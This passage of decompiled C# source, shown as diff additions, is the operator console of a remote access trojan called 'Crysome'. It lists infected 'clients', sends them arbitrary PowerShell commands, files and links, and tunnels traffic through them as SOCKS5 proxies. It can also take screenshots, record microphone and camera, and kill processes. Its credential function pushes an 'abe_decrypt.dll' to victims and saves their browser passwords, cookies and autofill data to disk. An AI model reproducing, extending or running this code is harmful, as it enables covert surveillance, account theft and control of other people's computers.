StringComparison.OrdinalIgnoreCase)); + } + if (!string.IsNullOrEmpty(_filterPing) && _filterPing != "All") + { + switch (_filterPing) + { + case "Good (<100ms)": + source = source.Where((ClientInfo c) => c.PingValue > 0 && c.PingValue < 100); + break; + case "Medium (<300ms)": + source = source.Where((ClientInfo c) => c.PingValue >= 100 && c.PingValue < 300); + break; + case "High (>300ms)": + source = source.Where((ClientInfo c) => c.PingValue >= 300); + break; + } + } + UniqueCountriesCount = (from c in allClients + select c.CountryCode ?? "" into s + where s.Length > 0 + select s).Distinct().Count(); + List list = (from c in allClients + where c.PingValue > 0 + select c.PingValue).ToList(); + AveragePing = ((list.Count > 0) ? ((int)list.Average()) : 0); + ActiveWindowsCount = allClients.Count((ClientInfo c) => !string.IsNullOrWhiteSpace(c.ActiveWindow)); + List second = (from x in (from c in allClients + select c.Group ?? "" into s + where s.Length > 0 + select s).Distinct() + orderby x + select x).ToList(); + string filterGroup = _filterGroup; + _isRefreshingClientList = true; + SyncCollection(FilterGroupOptions, new List { "All" }.Concat(second).ToList()); + _filterGroup = (FilterGroupOptions.Contains(filterGroup) ? filterGroup : "All"); + OnPropertyChanged("FilterGroup"); + _isRefreshingClientList = false; + List list2 = source.OrderByDescending((ClientInfo c) => c.IsPinned).ToList(); + int num = 0; + foreach (ClientInfo item in list2) + { + int num2 = Clients.IndexOf(item); + if (num2 < 0) + { + Clients.Insert(num, item); + } + else if (num2 != num) + { + Clients.Move(num2, num); + } + num++; + } + while (Clients.Count > list2.Count) + { + Clients.RemoveAt(Clients.Count - 1); + } + UpdateFilterOptionsInternal(); + } + catch + { + } + } + + private void UpdateFilterOptions() + { + _pendingUpdates = true; + } + + private void UpdateFilterOptionsInternal() + { + HashSet currentCountries = new HashSet(FilterCountryOptions); + HashSet currentOSes = new HashSet(FilterOSOptions); + List list = (from x in (from c in allClients + select (c.CountryCode ?? "").Trim() into s + where s.Length > 0 + select s).Distinct() + orderby x + select x).ToList(); + List list2 = (from x in (from c in allClients + select (c.OS ?? "").Trim() into s + where s.Length > 0 + select s).Distinct() + orderby x + select x).ToList(); + bool flag = list.Count + 1 != currentCountries.Count || list.Any((string c) => !currentCountries.Contains(c)); + bool flag2 = list2.Count + 1 != currentOSes.Count || list2.Any((string o) => !currentOSes.Contains(o)); + bool isRefreshingClientList = _isRefreshingClientList; + _isRefreshingClientList = true; + try + { + if (flag) + { + string filterCountry = _filterCountry; + SyncCollection(AvailableCountries, list); + SyncCollection(FilterCountryOptions, new List { "All" }.Concat(list).ToList()); + _filterCountry = (FilterCountryOptions.Contains(filterCountry) ? filterCountry : "All"); + OnPropertyChanged("FilterCountry"); + } + if (flag2) + { + string filterOS = _filterOS; + SyncCollection(AvailableOSes, list2); + SyncCollection(FilterOSOptions, new List { "All" }.Concat(list2).ToList()); + _filterOS = (FilterOSOptions.Contains(filterOS) ? filterOS : "All"); + OnPropertyChanged("FilterOS"); + } + } + finally + { + _isRefreshingClientList = isRefreshingClientList; + } + } + + private static void SyncCollection(ObservableCollection target, List source) + { + target.Clear(); + foreach (string item in source) + { + target.Add(item); + } + } + + private void DoAddBlocklist() + { + string text = (NewBlocklistIP ?? "").Trim(); + if (string.IsNullOrEmpty(text)) + { + return; + } + if (store.BlockedIPs.Contains(text)) + { + EnqueueStatus("Already blocked"); + return; + } + store.BlockedIPs.Add(text); + store.SaveBlocked(); + BlockedIPsList.Clear(); + foreach (string item in store.BlockedIPs.OrderBy((string x) => x)) + { + BlockedIPsList.Add(item); + } + NewBlocklistIP = ""; + Log("Added to blocklist: " + text, "SYS"); + EnqueueStatus("Blocked " + text); + } + + private void DoRemoveBlocklist(string ip) + { + if (!string.IsNullOrEmpty(ip)) + { + store.BlockedIPs.Remove(ip); + store.SaveBlocked(); + BlockedIPsList.Remove(ip); + Log("Removed from blocklist: " + ip, "SYS"); + } + } + + private void DoRemoveBlocklist() + { + string blocklistSelectedIP = BlocklistSelectedIP; + if (string.IsNullOrEmpty(blocklistSelectedIP)) + { + EnqueueStatus("Select an IP to unblock"); + } + else + { + DoRemoveBlocklist(blocklistSelectedIP); + } + } + + private void DoBlockSelectedClient() + { + ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault(); + if (clientInfo == null) + { + EnqueueStatus("Select a client to block"); + return; + } + string address = clientInfo.Address; + if (store.BlockedIPs.Contains(address)) + { + EnqueueStatus("Already blocked"); + return; + } + store.BlockedIPs.Add(address); + store.SaveBlocked(); + BlockedIPsList.Clear(); + foreach (string item in store.BlockedIPs.OrderBy((string x) => x)) + { + BlockedIPsList.Add(item); + } + try + { + server?.DisconnectClient(clientInfo.Owner); + } + catch + { + } + Log("Blocked and disconnected: " + address, "SYS"); + EnqueueStatus("Blocked " + address); + } + + private IEnumerable GetSelectedOrAll(bool all) + { + if (all) + { + return allClients.Where((ClientInfo c) => c.Owner != null && c.Owner.IsConnected); + } + return _selectedClients.Where((ClientInfo c) => c.Owner != null && c.Owner.IsConnected); + } + + private void DoSendCommand(bool all) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Expected O, but got Unknown + string text = PromptInput("Send PowerShell Command", "Enter command:"); + if (string.IsNullOrEmpty(text)) + { + return; + } + foreach (ClientInfo item in GetSelectedOrAll(all)) + { + try + { + item.Owner.SendPacket((IPacket)new RunCommandRequestPacket(text)); + Log("Sent cmd to " + item.Address + ": " + text, "CMD"); + } + catch + { + } + } + _lastCmd = text; + } + + private async void DoSendFile(bool all) + { + OpenFileDialog openFileDialog = new OpenFileDialog + { + Filter = "All files|*.*" + }; + if (openFileDialog.ShowDialog() != true) + { + return; + } + string path = openFileDialog.FileName; + byte[] data; + try + { + data = await Task.Run(() => File.ReadAllBytes(path)); + } + catch (Exception ex) + { + Exception ex2 = ex; + Exception ex3 = ex2; + ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate + { + Log("Send file error: " + ex3.Message, "FILE"); + }); + return; + } + ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate + { + //IL_0106: Unknown result type (might be due to invalid IL or missing references) + //IL_010d: Expected O, but got Unknown + long num = (long)store.Settings.MaxSendFileSizeMB * 1024L * 1024; + if (num > 0 && data.Length > num) + { + Log("File too large (limit " + store.Settings.MaxSendFileSizeMB + " MB)", "FILE"); + } + else + { + string name = Path.GetFileName(path); + int num2 = Math.Max(1, (data.Length + 1200 - 1) / 1200); + foreach (ClientInfo c in GetSelectedOrAll(all)) + { + try + { + FtSender val = new FtSender(c.Owner, name, data); + val.OnDone = delegate(uint id, bool ok, string msg) + { + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + Log((ok ? "File delivered" : "File failed") + " [" + name + "] → " + c.Address + ": " + msg, "FILE"); + }, Array.Empty()); + }; + _activeSenders[val.TransferId] = val; + val.Start(); + Log("Sending [" + name + "] to " + c.Address + " (" + num2 + " chunks × " + 1200 + " B)", "FILE"); + } + catch (Exception ex4) + { + Log("Send file error: " + ex4.Message, "FILE"); + } + } + _lastFilePath = path; + } + }); + } + + private void DoDirectLink(bool all) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Expected O, but got Unknown + string text = PromptInput("Direct Link", "Enter URL:"); + if (string.IsNullOrEmpty(text)) + { + return; + } + foreach (ClientInfo item in GetSelectedOrAll(all)) + { + try + { + item.Owner.SendPacket((IPacket)new DirectLinkRequestPacket(text)); + Log("Sent link to " + item.Address + ": " + text, "FILE"); + } + catch + { + } + } + } + + private void DoCopySummary() + { + ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault(); + if (clientInfo != null) + { + Clipboard.SetText(clientInfo.Address + "\t" + clientInfo.Username + "\t" + clientInfo.OS + "\t" + clientInfo.PingDisplay + "\t" + clientInfo.Uptime); + Log("Copied summary", "SYS"); + } + } + + private void DoPinToTop() + { + ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault(); + if (clientInfo != null) + { + string address = clientInfo.Address; + if (store.PinnedIPs.Contains(address)) + { + store.PinnedIPs.Remove(address); + clientInfo.IsPinned = false; + } + else + { + store.PinnedIPs.Add(address); + clientInfo.IsPinned = true; + } + store.SavePinned(); + RefreshClientList(); + } + } + + private void DoExportSelection() + { + List list = ((_selectedClients.Count > 0) ? _selectedClients : ((SelectedClient != null) ? new List { SelectedClient } : null)); + if (list == null || list.Count == 0) + { + return; + } + SaveFileDialog saveFileDialog = new SaveFileDialog + { + Filter = "CSV|*.csv", + FileName = "export.csv" + }; + if (saveFileDialog.ShowDialog() != true) + { + return; + } + List list2 = new List { "IP\tUser\tOS\tPing\tUptime\tGroup\tNotes" }; + foreach (ClientInfo item in list) + { + list2.Add(item.Address + "\t" + item.Username + "\t" + item.OS + "\t" + item.PingDisplay + "\t" + item.Uptime + "\t" + item.Group + "\t" + item.Notes); + } + File.WriteAllLines(saveFileDialog.FileName, list2); + Log("Exported to " + saveFileDialog.FileName, "SYS"); + } + + private void DoMute30() + { + ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault(); + if (clientInfo != null) + { + string address = clientInfo.Address; + clientInfo.IsMuted = true; + clientInfo.MuteUntil = DateTime.Now.AddMinutes(30.0); + store.MutedIPs[address] = SelectedClient.MuteUntil; + store.SaveMuted(); + Log("Muted " + address + " for 30 min", "SYS"); + } + } + + private void DoQuickHealth() + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Expected O, but got Unknown + foreach (ClientInfo item in GetSelectedOrAll(all: false)) + { + try + { + item.Owner.SendPacket((IPacket)new RunCommandRequestPacket("Get-CimInstance Win32_OperatingSystem | Select-Object Caption,LastBootUpTime")); + } + catch + { + } + } + } + + private void DoRepeatLastCmd() + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Expected O, but got Unknown + if (string.IsNullOrEmpty(_lastCmd)) + { + EnqueueStatus("No previous command"); + return; + } + foreach (ClientInfo item in GetSelectedOrAll(all: false)) + { + try + { + item.Owner.SendPacket((IPacket)new RunCommandRequestPacket(_lastCmd)); + } + catch + { + } + } + } + + private async void DoRepeatLastFile() + { + if (string.IsNullOrEmpty(_lastFilePath) || !File.Exists(_lastFilePath)) + { + EnqueueStatus("No previous file"); + return; + } + string path = _lastFilePath; + byte[] data; + try + { + data = await Task.Run(() => File.ReadAllBytes(path)); + } + catch (Exception ex) + { + Exception ex2 = ex; + Exception ex3 = ex2; + ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate + { + Log("Repeat file error: " + ex3.Message, "FILE"); + }); + return; + } + ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Expected O, but got Unknown + string fileName = Path.GetFileName(path); + foreach (ClientInfo item in GetSelectedOrAll(all: false)) + { + try + { + item.Owner.SendPacket((IPacket)new FileTransferRequestPacket(fileName, data)); + } + catch + { + } + } + }); + } + + private void DoAnnounceToggle() + { + ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault(); + if (clientInfo != null) + { + string address = clientInfo.Address; + if (store.AnnounceIPs.Contains(address)) + { + store.AnnounceIPs.Remove(address); + clientInfo.IsAnnounce = false; + } + else + { + store.AnnounceIPs.Add(address); + clientInfo.IsAnnounce = true; + } + store.SaveAnnounce(); + } + } + + private void DoEditNote() + { + ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault(); + if (clientInfo != null) + { + string text = PromptInput("Note for " + clientInfo.Address, "Enter note:", clientInfo.Notes); + if (text != null) + { + clientInfo.Notes = text; + store.Notes[clientInfo.Address] = text; + store.SaveNotes(); + } + } + } + + private void DoSocks5Proxy() + { + //IL_0179: Unknown result type (might be due to invalid IL or missing references) + //IL_0183: Expected O, but got Unknown + //IL_0292: Unknown result type (might be due to invalid IL or missing references) + //IL_0297: Unknown result type (might be due to invalid IL or missing references) + //IL_02af: Expected O, but got Unknown + List list = GetSelectedOrAll(all: false).ToList(); + if (!list.Any()) + { + EnqueueStatus("No client selected"); + return; + } + int num = 0; + _proxyResultsForModal.Clear(); + foreach (ClientInfo c in list) + { + try + { + if (c.Owner == null) + { + continue; + } + if (_reverseProxyState.TryGetValue(c.Owner, out var value)) + { + StopReverseProxy(c.Owner, value); + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + c.ProxyActive = false; + }, Array.Empty()); + Log("Stopping reverse proxy on " + c.Address, "PROXY"); + continue; + } + TcpListener tcpListener = new TcpListener(IPAddress.Loopback, 0); + tcpListener.Start(); + int port = ((IPEndPoint)tcpListener.LocalEndpoint).Port; + ReverseProxyState state = new ReverseProxyState + { + Listener = tcpListener, + Owner = c.Owner, + Running = true + }; + _reverseProxyState[c.Owner] = state; + c.Owner.SendPacket((IPacket)new StartReverseProxyPacket(port)); + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + c.ProxyActive = true; + }, Array.Empty()); + Log("Reverse proxy on " + c.Address + " -> 127.0.0.1:" + port, "PROXY"); + _proxyResultsForModal.Add(("127.0.0.1", port.ToString())); + num++; + CrysomeClient owner = c.Owner; + Task.Run(delegate + { + ReverseProxyAcceptLoop(state, owner); + }); + } + catch (Exception ex) + { + Log("Proxy error on " + c.Address + ": " + ex.Message, "PROXY"); + } + } + if (num > 0) + { + _proxyStartCount = num; + DispatcherTimer proxyModalTimer = _proxyModalTimer; + if (proxyModalTimer != null) + { + proxyModalTimer.Stop(); + } + _proxyModalTimer = new DispatcherTimer + { + Interval = TimeSpan.FromMilliseconds(500L, 0L) + }; + _proxyModalTimer.Tick += delegate + { + _proxyModalTimer.Stop(); + ShowProxyResultsModal(); + }; + _proxyModalTimer.Start(); + } + } + + private void StopReverseProxy(CrysomeClient owner, ReverseProxyState state) + { + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Expected O, but got Unknown + state.Running = false; + try + { + state.Listener?.Stop(); + } + catch + { + } + state.Listener = null; + KeyValuePair[] array = state.Connections.ToArray(); + for (int i = 0; i < array.Length; i++) + { + KeyValuePair keyValuePair = array[i]; + try + { + keyValuePair.Value?.Close(); + } + catch + { + } + try + { + owner.SendPacket((IPacket)new ReverseProxyEndPacket(keyValuePair.Key)); + } + catch + { + } + } + state.Connections.Clear(); + _reverseProxyState.Remove(owner); + try + { + owner.SendPacket((IPacket)new StopProxyRequestPacket()); + } + catch + { + } + } + + private void ReverseProxyAcceptLoop(ReverseProxyState state, CrysomeClient owner) + { + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_00c4: Expected O, but got Unknown + try + { + while (state.Running && state.Listener != null) + { + TcpClient browser; + try + { + browser = state.Listener.AcceptTcpClient(); + } + catch + { + break; + } + if (!state.Running) + { + browser.Close(); + break; + } + int connId = Interlocked.Increment(ref state.NextConnectionId); + state.Connections[connId] = browser; + try + { + owner.SendPacket((IPacket)new ReverseProxyStartPacket(connId)); + } + catch + { + browser.Close(); + state.Connections.TryRemove(connId, out var _); + continue; + } + NetworkStream stream = browser.GetStream(); + byte[] buf = new byte[8192]; + Task.Run(delegate + { + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Expected O, but got Unknown + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Expected O, but got Unknown + try + { + int num; + while (state.Running && (num = stream.Read(buf, 0, buf.Length)) > 0) + { + byte[] array = new byte[num]; + Array.Copy(buf, array, num); + try + { + owner.SendPacket((IPacket)new ReverseProxyDataPacket(connId, array)); + } + catch + { + break; + } + } + } + catch + { + } + finally + { + state.Connections.TryRemove(connId, out var _); + try + { + owner.SendPacket((IPacket)new ReverseProxyEndPacket(connId)); + } + catch + { + } + try + { + browser.Close(); + } + catch + { + } + } + }); + } + } + catch + { + } + } + + private void HandleReverseProxyData(CrysomeClient sender, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Expected O, but got Unknown + ReverseProxyDataPacket val = (ReverseProxyDataPacket)packet; + if (!_reverseProxyState.TryGetValue(sender, out var value) || !value.Connections.TryGetValue(val.ConnectionId, out var value2)) + { + return; + } + try + { + NetworkStream stream = value2.GetStream(); + if (val.Data != null && val.Data.Length != 0) + { + stream.Write(val.Data, 0, val.Data.Length); + } + } + catch + { + value.Connections.TryRemove(val.ConnectionId, out var _); + try + { + sender.SendPacket((IPacket)new ReverseProxyEndPacket(val.ConnectionId)); + } + catch + { + } + try + { + value2.Close(); + } + catch + { + } + } + } + + private void HandleReverseProxyEnd(CrysomeClient sender, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + ReverseProxyEndPacket val = (ReverseProxyEndPacket)packet; + if (!_reverseProxyState.TryGetValue(sender, out var value) || !value.Connections.TryRemove(val.ConnectionId, out var value2)) + { + return; + } + try + { + value2.Close(); + } + catch + { + } + } + + private static string ParsePortFromProxyMessage(string message) + { + if (string.IsNullOrEmpty(message)) + { + return "?"; + } + Match match = Regex.Match(message, "port\\s+(\\d+)", RegexOptions.IgnoreCase); + if (!match.Success) + { + return "?"; + } + return match.Groups[1].Value; + } + + private void ShowProxyResultsModal() + { + DispatcherTimer proxyModalTimer = _proxyModalTimer; + if (proxyModalTimer != null) + { + proxyModalTimer.Stop(); + } + _proxyModalTimer = null; + _proxyStartCount = 0; + if (_proxyResultsForModal.Count == 0) + { + return; + } + List<(string Address, string Port)> copy = new List<(string, string)>(_proxyResultsForModal); + _proxyResultsForModal.Clear(); + string title = ((copy.Count == 1) ? "SOCKS5 Proxy ready" : "SOCKS5 Proxies ready"); + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("Use these addresses in your browser or proxy settings (SOCKS5)."); + stringBuilder.AppendLine("Use 127.0.0.1:port on this machine (where Crysome Server runs)."); + stringBuilder.AppendLine(); + foreach (var (text, text2) in copy) + { + stringBuilder.AppendLine(text + ":" + text2); + } + string body = stringBuilder.ToString().TrimEnd(); + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + Window obj = new Window + { + Title = title, + Width = 420.0, + MinWidth = 360.0, + Height = ((copy.Count == 1) ? 220 : Math.Min(400, 180 + copy.Count * 28)), + WindowStartupLocation = WindowStartupLocation.CenterOwner, + Owner = Application.Current.MainWindow, + ResizeMode = ResizeMode.CanResize, + Background = Brushes.Black + }; + StackPanel stackPanel = new StackPanel + { + Margin = new Thickness(16.0) + }; + stackPanel.Children.Add(new TextBlock + { + Text = body, + TextWrapping = TextWrapping.Wrap, + Foreground = Brushes.White, + FontFamily = new FontFamily("Consolas"), + FontSize = 13.0, + Margin = new Thickness(0.0, 0.0, 0.0, 12.0) + }); + Button button = new Button + { + Content = "Copy to clipboard", + Width = 140.0, + HorizontalAlignment = HorizontalAlignment.Left + }; + button.Click += delegate + { + try + { + Clipboard.SetText(body); + } + catch + { + } + }; + stackPanel.Children.Add(button); + obj.Content = stackPanel; + obj.Show(); + }, Array.Empty()); + } + + private void HandleProxyStatus(object sender, IPacket packet) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + ProxyStatusResponsePacket resp = (ProxyStatusResponsePacket)packet; + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => (object)c.Owner == (object)(CrysomeClient)sender); + if (clientInfo != null) + { + clientInfo.ProxyActive = resp.Active; + Log("Proxy on " + clientInfo.Address + ": " + resp.Message, "PROXY"); + if (resp.Active && _proxyStartCount > 0) + { + string item = ParsePortFromProxyMessage(resp.Message); + _proxyResultsForModal.Add((clientInfo.Address, item)); + if (_proxyResultsForModal.Count >= _proxyStartCount) + { + DispatcherTimer proxyModalTimer = _proxyModalTimer; + if (proxyModalTimer != null) + { + proxyModalTimer.Stop(); + } + _proxyModalTimer = null; + _proxyStartCount = 0; + ShowProxyResultsModal(); + } + } + } + }, Array.Empty()); + } + + private void DoRestart() + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Expected O, but got Unknown + ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault(); + if (clientInfo?.Owner == null) + { + return; + } + try + { + clientInfo.Owner.SendPacket((IPacket)new RestartRequestPacket()); + } + catch + { + } + } + + private void DoTakeScreenshot() + { + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Expected O, but got Unknown + List list = ((_selectedClients.Count > 0) ? _selectedClients : ((SelectedClient != null) ? new List { SelectedClient } : null)); + if (list == null || list.Count == 0) + { + EnqueueStatus("Select one or more clients"); + return; + } + foreach (ClientInfo item in list.Where((ClientInfo x) => x?.Owner != null)) + { + try + { + item.Owner.SendPacket((IPacket)new TakeScreenshotRequestPacket()); + Log("Screenshot requested: " + item.Address, "SYS"); + } + catch (Exception ex) + { + Log("Screenshot request failed " + item.Address + ": " + ex.Message, "SYS"); + } + } + if (list.Count > 0) + { + EnqueueStatus("Screenshot requested from " + list.Count + " client(s)"); + } + } + + private void HandleScreenshotResponse(CrysomeClient sender, IPacket packet) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Expected O, but got Unknown + TakeScreenshotResponsePacket val = (TakeScreenshotResponsePacket)packet; + ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender); + string title = ((clientInfo != null) ? ("Screenshot — " + clientInfo.Address) : ("Screenshot — " + (sender.RemoteAddress?.Address?.ToString() ?? "?"))); + byte[] data = ((val != null) ? val.ImageData : null); + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + ScreenshotViewerWindow screenshotViewerWindow = new ScreenshotViewerWindow(title, data); + ((Window)(object)screenshotViewerWindow).Owner = Application.Current.MainWindow; + ((Window)(object)screenshotViewerWindow).Show(); + }, Array.Empty()); + } + + private static byte[] LoadAbeDecryptDllBytes() + { + try + { + Assembly executingAssembly = Assembly.GetExecutingAssembly(); + string text = executingAssembly.GetManifestResourceNames().FirstOrDefault((string n) => n.EndsWith("abe_decrypt.dll", StringComparison.OrdinalIgnoreCase)); + if (text != null) + { + using Stream stream = executingAssembly.GetManifestResourceStream(text); + if (stream != null && stream.Length > 0) + { + byte[] array = new byte[stream.Length]; + if (stream.Read(array, 0, array.Length) == array.Length) + { + return array; + } + } + } + string baseDirectory = AppDomain.CurrentDomain.BaseDirectory; + string[] array2 = new string[3] + { + Path.Combine(baseDirectory, "abe_decrypt.dll"), + Path.Combine(baseDirectory, "Resources", "abe_decrypt.dll"), + Path.Combine(baseDirectory, "..", "Resources", "abe_decrypt.dll") + }; + foreach (string path in array2) + { + if (File.Exists(path)) + { + return File.ReadAllBytes(path); + } + } + } + catch + { + } + return null; + } + + private void DoRequestCredentials(byte requestType) + { + //IL_00ce: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Expected O, but got Unknown + List list = ((_selectedClients.Count > 0) ? _selectedClients : ((SelectedClient != null) ? new List { SelectedClient } : null)); + if (list == null || list.Count == 0) + { + EnqueueStatus("Select one or more clients"); + return; + } + byte[] array = LoadAbeDecryptDllBytes(); + if (array == null || array.Length == 0) + { + EnqueueStatus("abe_decrypt.dll not found. Place it in Crysome.Server output folder, Resources subfolder, or add to Resources and rebuild."); + return; + } + List list2 = list.Where((ClientInfo x) => x?.Owner != null).ToList(); + int count = list2.Count; + foreach (ClientInfo c in list2) + { + try + { + FtSender val = new FtSender(c.Owner, "abe_decrypt.dll", array); + byte rt = requestType; + string addr = c.Address; + val.OnDone = delegate(uint id, bool ok, string msg) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + _activeSenders.TryRemove(id, out var _); + if (ok) + { + try + { + c.Owner.SendPacket((IPacket)new RequestCredentialsPacket(rt, (byte[])null)); + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + Log("DLL delivered, credentials requested: " + addr, "SYS"); + }, Array.Empty()); + return; + } + catch (Exception ex2) + { + Exception ex3 = ex2; + Exception ex4 = ex3; + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + Log("Credential request failed " + addr + ": " + ex4.Message, "SYS"); + }, Array.Empty()); + return; + } + } + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + Log("DLL transfer failed " + addr + ": " + msg, "SYS"); + }, Array.Empty()); + }; + _activeSenders[val.TransferId] = val; + val.Start(); + Log("Sending DLL to " + addr + " (" + array.Length + " B, " + val.TotalChunks + " chunks)...", "SYS"); + } + catch (Exception ex) + { + Log("Credentials request failed " + c.Address + ": " + ex.Message, "SYS"); + } + } + EnqueueStatus("Credentials requested from " + count + " client(s). DLL transferring..."); + } + + private void HandleCredentialsResponse(CrysomeClient sender, IPacket packet) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Expected O, but got Unknown + CredentialsResponsePacket val = (CredentialsResponsePacket)packet; + ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender); + string title = ((clientInfo != null) ? ("Credentials — " + clientInfo.Address) : ("Credentials — " + (sender.RemoteAddress?.Address?.ToString() ?? "?"))); + string err = ((val != null) ? val.ErrorMessage : null) ?? ""; + string pw = ((val != null) ? val.PasswordsJson : null) ?? ""; + string ck = ((val != null) ? val.CookiesJson : null) ?? ""; + string af = ((val != null) ? val.AutofillsJson : null) ?? ""; + try + { + string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "credentials"); + Directory.CreateDirectory(text); + string text2 = string.Concat((clientInfo?.Address ?? "unknown").Where((char c) => !Enumerable.Contains(Path.GetInvalidFileNameChars(), c))); + string text3 = DateTime.Now.ToString("yyyyMMdd_HHmmss"); + if (!string.IsNullOrWhiteSpace(pw)) + { + File.WriteAllText(Path.Combine(text, text2 + "_" + text3 + "_passwords.json"), pw); + } + if (!string.IsNullOrWhiteSpace(ck)) + { + File.WriteAllText(Path.Combine(text, text2 + "_" + text3 + "_cookies.json"), ck); + } + if (!string.IsNullOrWhiteSpace(af)) + { + File.WriteAllText(Path.Combine(text, text2 + "_" + text3 + "_autofills.json"), af); + } + } + catch + { + } + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + CredentialsViewerWindow credentialsViewerWindow = new CredentialsViewerWindow(title, pw, ck, af, string.IsNullOrEmpty(err) ? null : err); + ((Window)(object)credentialsViewerWindow).Owner = Application.Current.MainWindow; + ((Window)(object)credentialsViewerWindow).Show(); + }, Array.Empty()); + } + + private void HandleProcessListResponse(CrysomeClient sender, IPacket packet) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + if (_processListCallbacks.TryGetValue(sender, out var cb)) + { + _processListCallbacks.Remove(sender); + GetProcessListResponsePacket resp = (GetProcessListResponsePacket)packet; + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + cb(resp); + }, Array.Empty()); + } + } + + public void RequestProcessList(ClientInfo client, Action callback) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + if (client?.Owner == null || callback == null) + { + return; + } + _processListCallbacks[client.Owner] = callback; + try + { + client.Owner.SendPacket((IPacket)new GetProcessListRequestPacket()); + } + catch + { + _processListCallbacks.Remove(client.Owner); + } + } + + public void KillProcessOnClient(ClientInfo client, int pid) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Expected O, but got Unknown + if (client?.Owner == null) + { + return; + } + try + { + client.Owner.SendPacket((IPacket)new KillProcessRequestPacket(pid)); + } + catch + { + } + } + + public void RequestAudio(ClientInfo client, int seconds, Action onReceived) + { + RequestAudio(client, seconds, 0, onReceived); + } + + public void RequestAudio(ClientInfo client, int seconds, int deviceIndex, Action onReceived) + { + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Expected O, but got Unknown + if (client?.Owner == null || onReceived == null) + { + return; + } + Log("RequestAudio SENT to " + client.Address + " sec=" + seconds + " idx=" + deviceIndex, "MIC"); + _audioDataCallbacks[client.Owner] = onReceived; + try + { + client.Owner.SendPacket((IPacket)new RequestAudioPacket(seconds, deviceIndex)); + } + catch (Exception ex) + { + Log("RequestAudio SEND FAIL: " + ex.Message, "MIC"); + _audioDataCallbacks.Remove(client.Owner); + } + } + + public void RequestCameraFrame(ClientInfo client, int deviceIndex, Action onReceived) + { + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Expected O, but got Unknown + if (client?.Owner == null || onReceived == null) + { + return; + } + Log("RequestCameraFrame SENT to " + client.Address + " idx=" + deviceIndex, "CAM"); + _cameraFrameCallbacks[client.Owner] = onReceived; + try + { + client.Owner.SendPacket((IPacket)new RequestCameraFramePacket(deviceIndex)); + } + catch (Exception ex) + { + Log("RequestCameraFrame SEND FAIL: " + ex.Message, "CAM"); + _cameraFrameCallbacks.Remove(client.Owner); + } + } + + public void GetCameraDevices(ClientInfo client, Action onReceived) + { + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Expected O, but got Unknown + //IL_00af: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Expected O, but got Unknown + if (client?.Owner == null || onReceived == null) + { + return; + } + CrysomeClient owner = client.Owner; + 